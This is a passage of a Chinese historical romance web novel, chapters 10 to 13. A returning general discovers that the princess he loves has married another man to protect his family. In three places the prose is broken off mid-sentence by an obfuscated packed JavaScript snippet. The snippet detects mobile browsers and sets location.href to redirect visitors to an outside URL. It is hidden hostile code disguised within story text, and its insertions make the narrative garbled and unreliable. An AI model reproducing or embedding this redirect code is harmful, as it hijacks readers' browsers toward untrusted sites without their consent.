他就说谢定一路上闷不吭声的,原来是在这儿憋个大的! 还不等丁攀说什么,那边正崇帝已经一口应了下来,“好!有什么所求,怀朔尽管说来。” 丁攀表情都扭曲了,“陛——” “臣请求娶阳嘉郡主。” 一言既出,四下皆静。 10.第 10 章 苏府。 天色正好,呆在屋里反而憋闷,岑篱索性让人把妆奁搬到了院中,身后的婢女正在给她盘发。 这婢女生得一双巧手,平素里最善挽发髻,但未嫁的少女髻和已婚妇人到底不同,原本熟惯了发髻突然要改,穿梭在发间的动作也有几分生疏,也不知那根头发丝被勾住了,头皮被扯得一阵锐痛,岑篱低低地“嘶”了一声。 这本也是有过的事,却不知为何,那婢女竟是脸色大变,噗通一下跪下了,“郡主恕罪!!” 岑篱尚且不解,不远处拾春正带着一个人进来,亦是惊呼。 “郡主?!” “岑姐姐!” 岑篱总算意识到什么,抬头碰了碰脸,触手一片湿痕,她平静地拿着帕子拭过那泪意,若无其事地,“今日风大,不留神迷了眼……你下去吧。” 那婢女好似还沉浸在后怕里,同手同脚地下去了。 待到人离开,岑篱也平静下心情。 再看向谢兰君,总算能笑得出来,调侃着:“这般日子,不去迎你大兄,怎么反倒来我这里了?” 谢兰君轻轻咬了下唇,“章台街上那么多人,我便是去了,大兄也看不见。况且……”她咬了咬牙,到底还是把后半句说了出来,“他想见的也并非是我。” 岑篱压沉了声:“兰君!” 对面却像是赌气似的,“本就如此!” 岑篱轻轻地叹了口气,对拾春递了个眼神。后者立刻会意,起身去了外边,把周围的仆役都驱得远了些。 谢兰君还直挺挺地站在原地,像是还在赌气,偏偏眼底还带着不自觉的心虚。 这可比她哥可强太多了。 这么想着,岑篱倒是差点被逗笑了。 她语气放软了些,“这世间的事,并非是一个‘想’便能‘做’的。我与你大兄之间,终究欠了点缘分,到此为止对谁都是好事。” 谢兰君明显不接受这说辞,“可、可……” 岑篱倒是很平静,“不然你又待又如何呢?和离吗?御驾亲临婚仪、皇帝亲口道贺,这才堪堪几日的光景,又如何能让圣意改易、赐婚功臣?当真如此这般,你让天下人怎么想,你又让陛下如何自处呢?” 谢兰君一点点睁大了眼睛,像是一时不知道该开口如何反驳。 岑篱只是平静地和她对视。 她知道谢兰君的意思。 但即便和离在本朝已是常事,她和苏之仪的婚事却不在此列。 原因是她同谢兰君说的这些,是也不全是。皇帝确实在意面子,但是在有些时候,倘若真有那个必要,她的那位大父又不那么在意颜面。 如今的情况,却是恰恰相反。 正崇帝扶持寒门的意思那般明显,他绝对不会在这时候动苏之仪,反倒是谢定此次功劳足够让他恢复谢家的爵位。正崇帝想动的正是这些处处掣肘的列侯,这也便意味着,即便她同苏之仪和离了,也不可能和谢定成婚。 她的那位大父一向果决,在这些事上他绝不会“一时糊涂”。 眼见着谢兰君眼眶发红,像是要哭出来的样子,岑篱倒是真真正正的平静下来。 心底那浅淡的刺痛还在,但翻涌起伏的情绪却已经平息。 她执住了谢兰君的手,露出了一个清浅的笑来,“今日是喜事,你大兄回来了。他心心念念这么多年的事,也终于得偿所愿。” 谢兰君:“……” 但让他心心念念这么多年的,并非只有“恢复谢家爵位”这么一件事。 可话已至此,她也只能压下哽咽,艰难地点了一下头。 岑篱笑着摸了摸谢兰君那还是少女模样的发髻,“这很好,人总要长大的。等你再大一点便知道,这世上的‘情非得已’远远不止这一件。” 谢兰君抿紧了唇。 那边岑篱却像是突然想起来什么似的,“对了,这段时日的事,你不要同你大兄说。” “为什么?!岑姐姐你做了这么多,我大兄才不是不记恩情的人,他定会——” “就是因为‘他定会’。”岑篱打断对面的话,“你大兄的性子,你还不知道吗?真犟起来十头牛都拉不动他,闯起祸来恨不得把天都捅了,当年……” 当年谢侯刚刚因为兵败被夺了爵位,谢家被贬为庶民,正是该夹着尾巴做人的时候,谢定非但没有收敛着,反倒把人家临王世子给揍了。问他知不知道那是皇帝的堂弟,他可倒好,下巴一仰,露出了还淤青的半张脸,反问:那又如何? 想起当年的旧事,岑篱忍不住笑了起来。 但那点笑意倏忽而逝,她又重新收敛起表情。 ——那又如何啊? 当今的陛下不是临王世子,当真闹起来,他不会容情的。或者说,她的那位大父,真的有“私情”吗? 心底再次沉沉坠下,岑篱正色看向谢兰君,肃声:“不要告诉他!你若是为了你大兄好,这段时日的事就一个字都不要让他知道。” 没有那个傻子会揪着皇帝的“错处”不放,如今谢定大胜而归,正崇帝曾经想要株连谢家的事没人会特地提起。故而只要谢家的人不提,谢定便不会知道。 至于说谢家人……谢氏族人因为埋怨当年谢侯的牵连,和谢家两兄妹一向不亲近,谢定那个狗脾气显然不可能向宗族低头,和那边的关系极其僵硬。他们如今想要缓和关系,多半要从谢兰君下手,要怎么堵住谢家的嘴,就看谢兰君的。 谢兰君露出了明显不情愿的表情,“可岑姐姐明明做了那么多。” “但是我心甘情愿。”岑篱表情温柔下去,“我从未后悔过这么做,也从未后悔过……”爱上这样一个人,“可也正是因为如此,我才盼着他此生无虞、岁岁长安。” 谢兰君:“……” 她终于忍不住,扑上去抱住了岑篱,嚎啕大哭。 岑篱怔了下,到底轻轻拍了拍少女的脊背,温声:“这么大的人了,怎么还像个小孩子似的。” * 司马门外。 谢定的那声叩请之后,原本还有些细微的窃窃私语的声音一下子消失了,后方的朝臣队列一下子变得极静。 在短暂的死寂后,所有人的目光不约而同的落在新任廷尉身上。 在各色目光的注视下,苏之仪兀自不动如山,颇有些泰然处之风范。不少人悻悻然收回目光,但仍是按捺不住思绪起伏。 托圣驾亲至观礼的福,那日的大婚,如今站在这里的诸位公卿也都登门道贺过,自然也目睹了那日情景。 本来这段时日不好的消息一个接着一个,便是抱着冲冲晦气的心态,那场由少府亲自筹备大婚也准备得极其隆重。可偏偏婚仪当日却赶上的那样的天气,本该盛事的仪式变得狼狈又草率,拜堂之时更是天降异象。 上苍示警,必有异状。 如今看来,这晦气是冲了,可是选得冲晦气的人选却不大对。 恐怕是一段孽缘喽…… 谢定可不知道前面朝臣心底翻涌的思绪,见那声拜请之后久久没有得到应答,他忍不住出声又请,“臣请——” 话没说完,被旁边的韩培狠狠拐了一肘子。 御前迎驾本不该如此失仪,但是韩培怕自己再不做点什么,谢定这个憨憨真的直莽莽地干出什么“挟功威逼圣驾”的事。到时候怕不是封赏还没到呢,就被倒霉上司牵连惹了陛下厌弃。 这边正崇帝也终于回过神。 他仿佛没听见谢定的那句跪请似的,态度自然地转向旁边的丁攀,“丁将军可有话要说?” 丁攀刚刚劫后余生,这会儿猝不及防被正崇帝点到还愣了下。 不过他可比谢定会看气氛多了,虽然还不明白怎么回事,但立刻就领会到正崇帝想要转移话题的意图,当即开口道:“回禀陛下,臣此番是为请罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163074|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而来。今次出征虽是大胜,然而臣为一军主将,非但寸功未立,又犯有识人不清、错下委任之责,以致战事受阻,此番谢将军斩将杀敌,能得大胜全仰赖苍天垂怜、陛下庇佑。臣不敢忝列主将之名,实不敢居功,还请陛下责罚。” 前线到底发生了什么事,正崇帝早就让探子前去查明了。 这会对着丁攀这主动请罪兼拍马屁的一番话也没什么多余的表示,只是不咸不淡地开口,“朕念你筹措后方、居中调度也有功,功过相抵,便也不罚了……不过既然能力不足,你这将军也就别当了。” 丁攀听见前半句还心下微松,但是紧接着就听见了后半句。 他不由苦笑,这又哪里是“不罚了”。 但到了这时候,他也只能俯身叩首,“臣谢陛下大恩。” 从主将往后,正崇帝又一个个地慰问过去。 毕竟是封赏的大事,谢定也不好再插言自己的私情了,纵使心底急得抓耳挠腮,却也只能眼睁睁的看完正崇帝一个个将领问过去。然后便是摆驾回宫、宴请诸臣了,仿佛忘了他请婚这件事。 谢定最后还是被韩培劝住了,“京中都知道陛下一向待阳嘉郡主不薄,你上来就求娶,问过阳嘉郡主的意思没有?” 谢定觉得韩培在说屁话。 ——阿篱会不同意他的提亲? 刚要呛回去,倒是想起来,这事陛下还真不一定知道。 比方说,当年阿篱还住在宫里的时候,他就能拐得人偷偷溜出来…… 想要去问问阿篱的意思也好。 这么想着,谢定总算能安稳地在宴上坐下来了。 只是宴上的气氛有点奇怪,谢定总觉得有人在打量他,视线在他和另一个人身上逡巡,眼神说不出的微妙。 顺着那目光看过去,是一个相貌清隽的青年。 御宴之上不得擅自走动,但也挡不住互相之间的眼神交流。可这青年坐在其中,却也仿佛和谁也没有交集似的。 ……玄色朝服、银印青绶,以前没见过这号人啊? 朝中公卿之间姻亲故旧门生、关系错综如星罗蛛网,谢定虽然不耐烦这些,但是早年谢家声势还盛的时候,也曾经被亲爹压着去一一拜访过,多数人都混了个脸熟。偏他寻遍记忆,好像对此人没什么印象。 还在思索间,对面那人似乎感知到身上的视线,也抬眼看了过来。 先注意到的是一双漆黑的眼睛,幽深不见底色。 但顿了片刻,青年轻轻颔首致意。 那一瞬间的冰冷好似错觉,那面上的神情分明称得上温和。 谢定下意识地拧了下眉,但很快就强行舒展开眉眼。 他身上越是紧绷,脸上的神情放得就越随意,像是随手抬了下手里的酒樽,权当回应对面的招呼。 而谢定的身侧,本来还沉浸这宴上歌舞的韩培当即一个激灵,失手打翻了旁边的酒斛。 正斟酒的内侍忙叩首请罪。 韩培这才回过神来,摆摆手示意人下去,自己则是默默夹了一口菘菜压惊。 就刚才那动作,他差点以为谢定给他搞什么掷杯为号呢? 但一边嚼着,一边又是纳闷。 好端端宫宴,谢定做什么一副想跟人干架的气势? 谢定还不知道身旁副将倒是和他真的处出几分默契来,他也说不清那没来由的敌意到底为何。 大概是这人看着就心术不正的样子。 毫无心理压力给人安了个罪名,谢定心下满意,举箸吃饭——行军打仗几个月,嘴里都快淡出个鸟了——刚这么想着,低头之际,却瞥见对方腰间蹀躞上坠着的一块同心白玉。 “啪嗒”一下,玉箸之间,那片裹着芥酱的晶莹鱼片掉到了案上的碗碟中,谢定死死地拧紧了眉头。 同心白玉。 但是白玉…… 应当都长得差不多的样子吧? 11.第 11 章 虽说宫宴上有些小插曲,但谢定离开的时候,心情还算不错。 他本就是少年心性,这会儿大胜而归,正是春风得意的时候,再加之这宫宴本就是为他而设,宴上自是人人追捧,他转瞬就将那点违和忘在了脑后。 待到曲终宴散回到家中,谢定远远就看见家里的管事迎了上来。 如今谢家爵位得复,眼前人也从私仆变成“家丞”了。只不过这么多年下来,比起那些疏远的谢氏族人,这府里的老管家倒是更似家人了。 谢定也收起了在外的张牙舞爪,老老实实叫了一句“平叔,我回来了。” 老者亦是笑意慈和:“回来就好,回来就好!” 谢定的安分正经却也没持续几息,才被嘘寒问暖了几句,就探头探脑地往后看,“小妹呢?怎么没见她出来?” 平南:“小娘子一早就出去了,如今还未回来。” 班师的日子不是什么秘密,谢兰君就是有什么事要办也不会挑着今天,这会儿出去肯定是为了迎他了。但任谢定怎么回忆,也没在街边的路人中想起妹妹的面孔。 不应该啊?以他这百步穿杨的目力,在人堆里找个人应当还是挺容易的。 谢定开始自我怀疑。 但是这怀疑中倒是隐隐松了口气,阿篱果然去了,只是他没看见罢了。 想到这里,谢定越发坐不住了。他脚下一转,就要往外走,口中还不停地,“等小妹回来,你跟她说一声。我先出去一趟。” 但还没走出去,被平南挡在了身前。 “平叔?” 御前求娶的消息尚未传开,但平南到底是亲眼看着自家养的猪是怎么拱白菜的,对谢定要去哪儿心知肚明:只是小郎君恐怕无从得偿所愿了…… 平南心底低叹了一声,开口却是,“府上送来不少拜帖,其中就有谢氏的人。到底是自家人,日后还少不了仰赖他们,郎君还是去见一见罢。” 话音刚落,就听谢定冷嗤一声,“现在想起来上门了?不见!让他们……” “郎君便是不为自己考虑,也为小娘子考虑。小娘子如今婚事还未商定,家中无个像样的长辈,莫不是你打算你这个当兄长亲自去帮她议亲?” “兰君她……”谢定明显被噎住了,好半天,才不情不愿地,“让他们先等着。就当年那些狗屁事,我晾他们两天不过分吧?” “郎君须得注意分寸。” 谢定不耐烦地摆手:“行了行了,我知道了。” 临出门前还遇到这么一件糟心事,谢定的心情一下子多云转阴。 但远远看见岑府那朱漆的大门,他还是脚下轻快了不少。 门口两尊石辟邪看得眼熟,獠牙外露、昂首挺胸,一如既往地镇守着大门。可惜这位连拜帖都没递一封的不速之客非但没生惧色,反倒忍不住跟着挺了挺胸膛。 但谢定往前还没走几步,就看见几张熟面孔穿过平化街而过。 本来昂首阔步的谢定终于想起来了,这会儿不比从前,经章台街的那一趟,他在长安城里也是声名鹊起,要是被人撞见了去岑府,恐怕会对阿篱的名声有所妨碍。 思绪念转,他也紧跟着脚步一错,绕到了侧边暗巷,猫着腰狗狗祟祟地贴着墙根绕到了府邸的后墙,熟门熟路地找到了那棵贴着墙根楸树。 谢定莫名生出几分唏嘘来。 他走的时候,这棵楸树还只有零星几颗含苞欲放的花骨朵,可如今已是细长的蒴果挂满枝头,只可惜没看到花朵盛开时粉白如云雾的模样。 这伤秋悲春的念头实在没个来由,反而宫宴上瞥见的那块白玉又在脑子里晃过一圈。 谢定摇了摇头,觉得一定是今日的事太多了,连带着脑子都不怎么正常了。 压下心底那细微的不安感,谢定后退的几步,借着助跑的力往上一蹬,也不见他怎么用力,转眼便置身于枝叶掩映的树干间,只余垂下的蒴果左右摇晃,仿佛刚刚被一阵劲风拂过。 谢定这墙翻得熟门熟路,上去之后倒也没急着跳下去,反而是骑在墙上往下观察了会儿。 但没过一会儿,他就浅浅地蹙起了眉。 从高处俯视,府中一切尽收眼底。但是谢定看着,这府邸却像是没有主人一般。 人不在?兴许是和小妹在一块儿? 谢定这么劝慰着自己,但心底有个声音却隐隐告知着他:不,这分明是主人离家多日,以至于连府中规制都有了变动。 他突然有点烦这当斥候的本事了。 无论如何,去看看便知了。 他纵身往下越去,但下去的一瞬却分了神,从空中落下的那一瞬,他分明瞥见,庭院里飞檐的一角,有木椽勾着一块未撤下的红绸,看起来挂了有几日了,绸面的光泽不在,反倒被覆了一层薄薄的尘土、灰扑扑的。 谢定不知道那电光石火之间,他做了什么联想,但是本能却有个声音,叫他不要再深想下去。视线从石板路上还未清理干净的红漆扫过,但刻意放空的思绪让这一切只是从眼前掠过。 岑府的守卫其实并不严密,谢定又对里面的地形熟悉,轻而易举地绕过巡逻的守卫。 往里走了没多久,就看见的一个熟悉的面孔:岑府的家丞,张卢。 家丞协理府中诸事,若是主人不在,去找这人准没错。 谢定脚下一转,跟了上去。 张卢脚步匆匆,原是去训话的。 一个仆妇被领到跟前,还未及行礼,就听张卢劈头盖脸地,“怎么回事?!库房那匹越罗,郡主几日前便吩咐下去,说是要裁几身秋衫给谢娘子送过去,怎地到现在还没动静?” 谢定听得一怔。 方才那点心思早就消失无踪,脸上不知道什么时候挂上了笑。 阿篱倒也不必这么着急,等过了门之后,再给小姑子准备衣裳也不迟嘛~ 果真是长嫂如母。 这人一得意就容易忘形,谢定一不留神脚下就踩了到了枯枝发出一声“嘎吱”来。 不等那边的人视线投过来,他已经飞快地压下那快咧到耳朵根的嘴角,熟门熟路地夹出了一声猫叫。 旁边似乎有仆役小声嘀咕:“真真是奇了,这狸奴倒也有几个月没来了。春日里有一阵子乍冷乍热的,咱还以为病死在外面呢。” “噤声,会不会说话啊?!” “这不是郡主不在么。这畜生倒也乖觉,只在郡主跟前露面……” 这点小声的嘀咕却也不影响那边的训话,张卢倒是隐有所感地往那方向看了一眼,不过很快就被那仆妇的回答拽回了心神。 “越罗锁边费功夫,郡主吩咐下来也才几日的光景,怎地也没那么快的。再者这料子也金贵,绣娘那边打了几遍绣样,也不敢下针……” 这话里的推托之意太过,连一旁藏着身形的谢定都听出来了,不由敛下了笑。 张卢静静地等着这仆妇把理由一一说完,只问了一句话,“什么时候能好?” “这、这……”仆妇嗫嚅了半天,小声,“家丞别嫌老婢多言,老婢毕竟虚长些年岁,看得事多了,也知晓些道理。郡主再怎么说都已经嫁人了,总是顾着谢家那边算是怎么回事?老婢知道,郡主身份贵重,那苏府不敢慢待郡主,可夫妇二人琴瑟和鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175146|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、却不单单是是一个‘敬’字能把日子过好的。那外头鲜花着锦的光鲜,里头却是些污七.八糟的事少吗?家丞也得替郡主想想。” “如今那谢小郎君已经回来了,陛下肯定要赏的,日后谢府的日子也好过了,各自把各自的过好了,郡主也不必操别个心……” “……” 谢定不知道张卢回答了些什么,他没听清后面的话了。 耳朵里像是被灌了陈浆,液体在里面咕噜噜打着转,让外界的声音都变得模糊不清。 嫁人了?什么叫“嫁人了”? 主人许久未归的宅邸、飞檐上的那段红绸、青石板上的朱漆…… 零碎的拼图终于在这一句话的提醒下串联成了完整的线索,谢定却拒绝接受这个答案。 说话声不知道什么时候远去了,谢定却脚下生根似的站在原地,他目光直勾勾地盯着自己所能看见的一切,青砖垒砌的缝隙、树木灌丛的纹理……他看得很仔细,似乎是想要从这些细节里找到证明眼前一切都是虚假的证据。 …… 等到谢定回去的时候,谢兰君已经到家里了。 她在岑篱那边哭得太狼狈,不得不被拾春带下去收拾了会儿才回来。眼皮被热乎乎的鸡蛋滚过,但是还能隐约看出红肿的痕迹。 好在谢定此时亦是心神动荡,无暇注意这点细节。 “小妹,”兄妹久别重逢,总算唤起谢定一些心神,他勉力挤出点兄长的关心来,“我不在了好些时日,家里一切可好?” 谢兰君也答得心不在焉,“一切安好。” 在兄妹俩各怀心思寒暄之后,谢定还是开口问了,“我这一去数月光景,长安城里好些事都陌生了,我方才竟听说……她嫁人了?” 谢定也没想到这几个字能从他口中说出来。 那音节轻飘飘地一吐,谢定倒是忍不住想要笑了:怎么可能?定是假的。说不准是岑府知道他带坏他们郡主,故意在他面前演的这一场。 对上的兄长那无意识希冀的目光,谢兰君突然觉得嗓子有点堵,像是被棉絮塞住了喉咙,眼中又泛起了阵阵酸楚。 不、不能哭! 岑姐姐是那么笑着说的“心甘情愿”,她不能让对方的一番心血毁在她这里。 “对,是。”谢兰君轻咬了一下舌尖,微微刺痛让混沌大脑清醒了不少,她也流畅地说起了回来一路上准备了许久的说辞,“大兄你……战死的消息传来,岑姐姐悲痛欲绝,是苏廷尉开解安慰,才让岑姐姐颇得宽慰。前些时日苏廷尉上门求亲,岑姐姐便点头应允了。” “……” 谢兰君:“婚事已成,兄长——” “我不信!” 谢定低头,定定地看过去,那双炽烈的眸子中仿佛有火焰在燃,谢兰君被这目光逼得后退了半步。 谢定沉着声又重复了一遍,“我一个字都不信!” 谢兰君:“……” 那往后踏了半个脚掌距离的鞋履死死地定在了原地,侧边的手掌紧握成拳,但越逼越逆反这事,大抵在谢家兄妹身上同出一源,谢兰君这次甚至稳下了表情,以同样坚定的声音开口:“事实便是如此。大兄若是不信,可以与苏府亲眼看一看。” 兄妹俩长相并不相似,但是同样倔的表情出现在这两张脸上,居然真的能让人一眼看出血缘关系来。 旁边的平叔本来还讶异于谢兰君的“解释”,但是见此情形,倒也猜到了些内情。 他心底叹息了一声,到底没有前去劝解:世上难得真心相待,小郎君和小娘子能得他人此厚遇,也是主君和夫人在天有灵了。 12.第 12 章 谢定还真的去了苏府。 也是巧了,正碰见被留下议事的苏之仪从宫中回来。 檐廊之下,盘着发髻的女人主动迎上了前去,也不知在原地等了多久,往前的时候,竟是踉跄了一下。 谢定几乎要冲过去扶了,却眼睁睁地看见她被另一个人揽到了怀中,他恨不得把那人的胳膊剁了,却看见了岑篱脸上的表情。 她是带着笑意的。 唇角只是轻轻往上抿着,但是谢定知道,她那是在笑。 两弯柳叶浅眉轻轻舒展着,眼尾弯起柔软的弧度,像是要把柔情都揉碎在那瞳眸之中。 旁人再多的话语都不及这一幕来得刺眼,谢定恍惚自己并未从那塞外的战场上回来。大漠的夜里冷得刺骨,像是有刀子透过皮肉一下又一下在骨头上刮。 他狼狈地往后退去。 或许等到再次醒过来,便知眼前的一切不过战场间隙目睹的蜃景。 …… 虽然有了谢兰君的“帮忙”,但岑篱知道谢定不是那么容易被说服的人,她都做好了谢定冲上来对峙的准备了,但是意外的,什么都没有发生。 她忍不住借着进门的动作往后看了一眼,长街尽头的拐角处,空无一人。 岑篱:“……” 这明显的情绪转变,也让苏之仪从那沉溺中清醒过来。 他抓着岑篱的手紧了紧,但等怀中人抬头之际,他已飞快收敛好那外露的情绪,转而关切,“膝上的伤还未好吗?” 岑篱刚想作答,对上一双漆黑的眼睛,那眼神幽暗深邃,宛若一汪深不见底的深潭。 岑篱一僵。 但这一切的感知不过片刻,只转眼间,里面又尽是一片温柔的暖意,“你身子要紧,旁的人……倒也不必看得那么重。请太医来看看罢,都过去了这么久了,也不必担心陛下作出多余的联想。” 岑篱怔了怔,“你看见了啊。” 看见了那等在转角处的人。 苏之仪笑了笑,像是并不介意:“郡主缘何下嫁,之仪尚且记得清楚。只是谢郎君如今封侯拜将,日后少不了另觅佳人,到时郡主岂不是要黯然神伤?既然如此,何不瞧瞧眼前人?之仪乃是真心求娶,并非想成就一段孽缘。” 青年这么说着,从怀里拿出了一对泥陶偶,“坊间人的手艺,没有宫里的精致,倒是多了几分野趣,回来的路上在西市瞧见,想着郡主或许会喜欢。” “……多谢。”岑篱沉默良久,到底抬手接过了那对泥偶,“有劳费心了。” * 谢定这一次回去,可以说是狼狈败逃,但他却有一种直觉式的预感,如果在那时候冲上去,绝对不会有好结果。 眼见着兄长这么浑浑噩噩地回来,经过的时候甚至都没有注意到身边有人,谢兰君也是心中一痛,正想要上前,却被平叔拦住了。 后者冲她摇了摇头,“让小郎君自己静一静吧。这几日谢氏来人,小郎君恐怕也抽不出心思接待了,小娘子若有空闲,不若想想怎么应对。” 被这么一提醒,谢兰君也想起了之前岑篱的交代。 谢氏族人要是见到了谢定,不管是为施压还是博同情,免不了要提起前些时日那“降敌”的假消息。大兄又不是傻子,陛下欲要降罪谢氏的事一出,定能猜到岑姐姐的婚事是为何。 不行,不能让这两方见上面! 谢兰君试探着开口,“都是自家族人,既然兄长无暇他顾,不若我代兄长接待?” 平叔却只是笑了一下,“小娘子和小郎君都是这府里的主人,又有什么代不代的。” 谢兰君怔然片刻。 她想起了那段时日骤闻噩耗,却无处求助的巨大无力感。 ——她也是这府里的主人吗? 少顷,她轻轻颔首:“……多谢平叔,我知道该怎么做。” * 而这边,回到家里的谢定却既没有滥饮大醉,也没有去演武场上发泄怒气,而是安安静静地将自己关到了房间里。 门扉阖上,谢定觉得身体像是突然失去了支撑的力气,他径自背靠着门板滑落在地。 这么倚靠着好一会儿,沉重的四肢才重新恢复了点力气,他有点迟钝地伸手到怀里,摸出了一个“荷包”。 如果那能被称之为“荷包”的话。 料子是上好的贡锦,只可惜做这袋子的人针线实在糟蹋,缎面上红绿的绣线拧成了一团,让人无从分辨这到底是什么图案,边缘的收针要么锁得太紧皱成了一团,要么针线太疏,里面早都干了的药草支棱着漏在外面。 谢定抬手把那露出来的干料往里塞了塞,那些过往的片段不住地在脑海中浮现,有上元夜在街市上闲逛的悠然,有带着人攀上城墙的欢欣,也有坐在枝头故意摇落枝叶、看着树下的人怒目而视的笑闹……可是这种种画面都归于刺眼的一幕:夕阳浸染云彩,落日下那相携的一对佳侣宛若璧人。 明明只是略微回想一下便觉得刺痛,但谢定却强迫着自己一遍遍回忆那画面里的细节。 一定有什么不对的地方! 才不过短短数月时间,他才不信,阿篱会那么另嫁他人。 …… 谢定就这么枯坐了一整夜。 攥着荷包的手僵硬发冷,另一只手掌的掌心被指甲掐出了印痕,也亏得是常年习武,被兵刃磨出一层厚厚的茧子,这才没被抓得鲜血淋漓。 晨光越过窗棂,驱散了满室的黑暗,谢定从那仿佛入定的状态猝然惊醒。 这光好似驱散了迷雾,谢定眨了眨酸涩的眼睛,突然想明白了。 他为什么要在这里枯坐着空想? 他要去找阿篱!他要阿篱看着他眼睛告诉他,她确实短短数月之间对另一个人情根深种,到了非要嫁娶不可的地步。 若是真的如此,他情愿退开。 ——但他才不相信! 想通这一点,谢定骤然起了精神。他匆匆出门,动作迅疾利落,若非眼下那点青黑,几乎看不出昨日的彻夜未眠。 只是才出去几步,谢定又折返回来。 脑子清醒过来,顾虑也便多了。谢定禁不住想,倘若这么上门,万一惹了争执,恐怕引得城中闲言碎语,终究于阿篱名声有碍。 “平叔,小妹呢?” 平南:“三房夫人刘氏递了邀帖,邀小娘子去家中做客。说是家中女儿即将远嫁,路途遥远、恐怕日后难得见上一面,既然都是一家姊妹,趁着这时候多些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191202|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处是好事。” 谢定冷嗤:“这时候倒是想起是一家姊妹了!” 但这么说完,他又拧了拧眉,“等小妹回来……算了。平叔,你找个人,以小妹的名义递封拜帖去那边,就说、就说——”他显然对姑娘家之间会约着做什么知之甚少,磕巴了两下,干脆地,“随便找个理由,让人过来一趟。” 他没有说出是谁,但显然对话的两人都心知肚明。 平南没有立刻答话,而是眼神犹疑地看向谢定。 虽说他对自家小郎君的人品还是信任的,但到底是年轻气盛,骤然得知这消息,谁也不知道他冲动之下会做出什么。 谢定倒是没注意到一旁平南的怀疑,而是接着,“我要亲口和她问个明白!” 他脸颊侧的肌肉鼓起又放松,显然是咬着牙才把这句话说了出口。 平南怔了怔,到底叹口气:“好,我这就去办。” 只怕阳嘉郡主不会接这个帖子。 …… 但谢定的邀约的没能达成。 倒不是岑篱察觉了问题,拒绝登门,而是这邀帖根本没送到她手上。 “回郎君,那门房说,家中主人出了远门,恐怕不能应邀了。” 谢定:“远门?去哪了?” “奴倒是问了,那门房也只道是不知。” * 岑篱是随着苏之仪一同去了阳曲郡。 苏之仪那日宫宴结束后,又在宫中留了些时辰,便是和正崇帝回禀“阳曲郡私自征发劳役的事”,暗中派去监察渺无音讯,事情好似比预想中的难办。也是抱着点私心,苏之仪向正崇帝请了圣旨,亲自前往调查。 岑篱她承认自己大半是逃避的心思,因此在苏之仪提出不如暂时离开一段时日散散心的时候,点头答应了下来。 因为出行得仓促,倒也没有做大的阵仗,只简单的收拾了行李,带了一队护卫随行。 出行的这一路上,岑篱也确实没有心思再去想东想西了。 马车颠簸、餐食简陋,都入秋的天气,还有蚊虫袭扰……如此种种,烦不胜烦,她被折腾得人都瘦了一圈。 看着眼前人日渐明显的尖下巴,苏之仪倒是真心懊悔起来,“是我考虑不周,让你受苦了。” 他只想着尽快带人离开长安,却忘了眼前人终究是锦衣玉食长大的,哪能吃得了这样的苦? 虽然身上折腾的够呛,但岑篱整个人的精神却还不错。听苏之仪这么说,她反倒是摇了摇头,坦然地笑了起来,“多吃点苦,反倒是好事。不然还真以为自己受了多大的委屈呢。” 现如今这条路可是她自己选的,既然心甘情愿,又何必一直顾影自怜下去? 连日的郁气仿佛都被这一路的风.尘荡涤了干净,岑篱对着苏之仪莞尔,“多亏了走这一趟散心,果真心情舒畅了许多。多谢了。” 阳光透过车帘斜斜切进车厢内,为那鸦羽般长睫铺上了一层碎金。 她盛着盈盈笑意看了过来,在略显黯淡的车厢里仿佛发着光,明明是一点也不相似的场景,却似乎将他拽回了当年,苏之仪不由有了片刻恍惚。 “夫妻之间,何必言谢。” 他这也算是得偿所愿了吧? 13.第 13 章 马车驶入阳曲郡的郡治,还未入城,远远看见了田间的土埂上,有一个老妪正同皂衣小吏争执着什么。 岑篱撩开车帘去看,旁边的苏之仪也顺着她的目光看过去。 那边似乎争执愈烈,老妪躬着身不知哀求着什么,却被那小吏一把推开。老妪踉跄着跌倒在地,却没有立刻起来,而是就地跪下,冲着那小吏不住地磕起了头。 岑篱忍不住皱了皱眉,但才想要下车,却被苏之仪抬手拦住了。 “那胥吏粗莽,万一冲撞了你便不好了。你在马车上稍等,我去探探情况。” 岑篱有片刻晃神。 ‘阿篱,那有热闹!咱们也去凑一个看看……’ 少年轻快的声音在耳边响起,又渐渐飘摇地远去。 “令昭?” 岑篱回神。 对上那张温润的面孔,她掩饰般地挪开目光,“也好。” 果真不一样。 苏之仪明显意识到什么,但却并没有深究,只是道:“我让车夫把车赶得近一点,你也好看看那边发生了什么。” 岑篱想起了苏之仪那句“真心求娶”,再看着对面那关切的神情,她也终是放缓了表情,轻轻颔首。 有些事情,总要过去的。 * 马车驱得近了,岑篱也听到了那边的对话。 